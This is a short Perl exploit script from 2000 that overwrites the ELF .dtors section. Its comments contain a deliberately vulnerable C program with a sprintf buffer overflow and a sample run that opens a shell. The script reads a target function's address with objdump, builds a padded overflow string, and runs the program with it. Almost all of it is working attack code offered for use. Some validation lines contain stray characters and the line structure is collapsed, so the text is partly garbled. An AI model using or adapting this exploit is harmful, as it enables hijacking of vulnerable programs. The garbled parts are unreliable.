#!/usr/bin/perl # # Generic ELF .dtors exploit. # # Authors: loophole && icesk of hhp via ttysnoop, HEH. # Date: 12/22/2000. # www.hhp-programming.net # # ------------- Example exploitable program. --------------------- # # /* dtors.c */ # #include # #include # int main(int argc,char **v){ # static u_char buffer[]="doot"; # sprintf(buffer,"%s",v[1]); # } # # getit(void){ # printf("%0x overwrote .dtors!\n",&getit); # execl("/bin/sh","sh",0); # } # #----------------------------------------------------------------- # # Example exploit execution: # dipped:~/dtors$ ./hhp-dtors.pl dtors getit 24 # Exploiting .dtors address: 08048478... # 8048478 overwrote .dtors! # sh-2.03$ # #----------------------------------------------------------------- ($prog, $func, $size) = @ARGV or die "$0 "; if($prog=~/[^a-zA-Z0-9\-_]/o){¨} if($func=~/[^a-zA-Z0-9\-_]/o){¨} if($size=~/[^0-9]/o){¨} $addr = `/usr/bin/objdump --syms $prog|/usr/bin/grep $func|/usr/bin/awk '{print \$1}'`; chomp($addr); print "Exploiting .dtors address: $addr...\n"; if($addr=~/(..)(..)(..)(..)/){ $a=$4;$b=$3;$c=$2;$d=$1; } $FINIBUF = ("A"x$size) . "\\x$a\\x$b\\x$c\\x$d"; print system "/usr/bin/perl -e 'system \"./$prog $FINIBUF\"'"; sub die(){print "Incorrect characters, possible security breach... Nice Try!\n" ;exit(0);} #eof